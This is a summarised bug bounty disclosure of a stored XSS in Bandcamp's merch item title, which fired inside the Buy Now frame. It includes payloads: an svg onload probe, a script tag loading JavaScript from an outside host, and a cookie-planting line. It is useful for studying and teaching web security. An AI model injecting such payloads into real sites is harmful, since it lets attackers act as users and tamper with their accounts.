# Stored XSS in Bandcamp

Stored XSS in Bandcamp's Add Merch Item Title, sanitized on the page but unsanitized in the Buy Now frame, letting an attacker run JS to force follows and set cookies.

- Payout: $500
- Severity: medium
- Program: Bandcamp
- Credited: Corben Leo
- Disclosed: 2017-06-30
- Write-up quality: 6/10
- Original: https://corben.io/blog/17-06-30-bandcamp-xss
- Library page: https://bugbountylibrary.com/r/blog%3Acorben-io-blog-17-06-30-bandcamp-xss
- Tags: domain:web impact:ato impact:integrity kind:bounty platform:blog sev:medium technique:source-review vuln:xss

**Target:** Add Merch Item Title rendered in Buy Now iframe
**Root cause:** Item Title was sanitized on the main merch page but not in the Buy Now frame, so the same stored value rendered as raw HTML/JS there.
**Steps:**
1. Create artist account and a Bandcamp page.
2. Use Add Merch, set Item Title to `<svg/onload=confirm(0)>`; main page sanitizes it.
3. Click Buy Now to open the frame; payload fires there.
4. Replace title with `<script src=//www.corben.io/bandcamp.js></script>` to load external JS.
**How found:** Tested Add Music for IDOR/XSS (negative), then tried Add Merch Item Title and Description with `<svg/onload=confirm(0)>`; main page sanitized it, but clicking Buy Now revealed the payload fired in the new frame, indicating inconsistent sanitization across render contexts.
**Exploitation:** Victim views the merch Buy Now frame; injected script runs in bandcamp.com origin, clicks the follow-unfollow button to force a follow and sets `document.cookie="hacker=cdl;path=/;domain=.bandcamp.com"` to plant a cookie across bandcamp.com and subdomains.
**Insight:** When a stored field is sanitized on one page, check every other context that renders the same value (modals, iframes, checkout frames, emails); sanitization is often applied per-view rather than at storage.